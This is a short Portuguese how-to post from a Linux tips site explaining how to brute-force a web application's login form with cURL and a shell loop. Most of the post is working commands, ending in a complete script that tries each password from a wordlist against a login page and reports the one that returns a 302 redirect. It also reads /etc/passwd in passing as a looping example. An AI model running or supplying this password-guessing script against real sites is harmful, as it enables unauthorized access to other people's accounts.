cURL - Brute-force em aplicações Web

Publicado por Perfil removido em 01/05/2013

[ Hits: 16.998 ]

 


cURL - Brute-force em aplicações Web



Estava pesquisando sobre o cURL, e tive a ideia de fazer um brute-force em shell script, mas como eu já fiz isso, resolvi somente testar os comandos.

Primeiro, iremos ver algumas opções de linha de comando do cURL:

curl -h
Usage: curl [options...] <url>
 -F/--form <name=content> Specify HTTP multipart POST data (H)
 -o/--output <file> Write output to <file> instead of stdout
 -s/--silent        Silent mode. Don't output anything
 -w/--write-out <format> What to output after completion

Ressaltei essas funções, pois serão necessárias para o ataque de brute-force.

Entendo as opções:

1. As opções "-s" e "-o" são para não exibirem o conteúdo HTML do request; iremos mandar essa saída de comando para o /dev/null.

2. O comando "-F" funciona para enviar os parâmetros através de "POST request".

Exemplo:

curl -F teste=enviando-post localhost/teste.php
3. E por último, a opção "-w", usaremos essa opção para descobrir o status code do request, levando em consideração que a maioria dos sistemas de login, quando se faz o login corretamente, redirecionam para outra página (302).

Exemplo:

curl -w "%{http_code}" localhost/lol
No final da saída do comando, obtemos o número 404 (Not Found).

Fazendo o ataque

Agora iremos proceder para o ataque de brute-force. Primeiro, temos que saber quais os nomes dos campos que iremos enviar pelo POST request.

Exemplo: login, password, log, passwd, user, etc.

Tendo essas informações, iremos transformar a saída do comando em uma variável.

Exemplo:

curl -s -o /dev/null -F login=mmxm -F pass=123456 -w "%{http_code}" localhost/login.php
A saída do comando foi 302 (redirecionamento), iremos guardar esse saída na variável "login":

login=$(curl -s -o /dev/null -F login=mmxm -F pass=123456 -w "%{http_code}" localhost/login.php)

Agora, para proceder com o ataque de "word list" iremos usar o "for" para ler um arquivo linha por linha.

Exemplo:

for i in `cat /etc/passwd`;do echo $i; done

Nosso comando final ficará assim:

for i in `cat wordlist.txt`
do
login=$(curl -s -o /dev/null -F login=mmxm -F pass=$i -w "%{http_code}" localhost/login.php)
if [ $login '==' "302" ]
then
echo "Password: $i"
break
else
echo "Trying: $i"
fi
done

Pronto, você já estará fazendo um ataque de brute-force através de uma "word list", usando o terminal.

Espero que tenham gostado da dica.
[]'s

Dica também publicada em:
Outras dicas deste autor

Instalando Frostwire no Linux Mint 18

Backup em fita DLT: Selecionando diretórios através de arquivos de parâmetros

Iniciando com o YUM, gerenciador de pacotes

Desabilitando modo "offline" no Firefox 3.x

Sorria... você está sendo filmado!

Leitura recomendada

Comando para mostrar o IP utilizado na Internet

LTSP + Sound Blaster + Som

Comentar em bloco

ShellSpeak - Para pessoas com deficiência de fala

Script para Ripar um cd inteiro

  

Comentários

Nenhum comentário foi encontrado.



Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts